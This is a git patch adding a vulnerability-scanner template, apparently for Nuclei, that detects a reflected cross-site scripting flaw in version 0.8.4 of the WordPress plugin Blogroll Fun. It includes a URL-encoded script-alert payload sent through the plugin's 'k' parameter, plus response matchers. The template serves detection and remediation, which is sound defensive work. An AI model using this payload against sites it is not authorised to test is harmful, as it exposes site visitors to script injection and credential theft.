From aa4bec9d62cc505fc7bcfadb389e14eb1b3ec52f Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Thu, 4 Aug 2022 22:21:53 +0530 Subject: [PATCH] Create wp-blogroll-fun-xss.yaml --- .../wordpress/wp-blogroll-fun-xss.yaml | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml diff --git a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml new file mode 100644 index 0000000000..c2946af992 --- /dev/null +++ b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml @@ -0,0 +1,37 @@ +id: wp-blogroll-fun-xss + +info: + name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time Cross-Site Scripting (0.8.4) + author: DhiyaneshDK + severity: medium + description: | + WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time version 0.8.4 is vulnerable; prior versions may also be affected. + remediation: Update to plugin version 0.8.5 or latest + reference: + - https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/ + - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/ + metadata: + verified: true + tags: wordpress,wp-plugin,xss,unauth + + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - 'Got:
' + part: body + + - type: word + words: + - 'text/html' + part: header + + - type: status + status: + - 200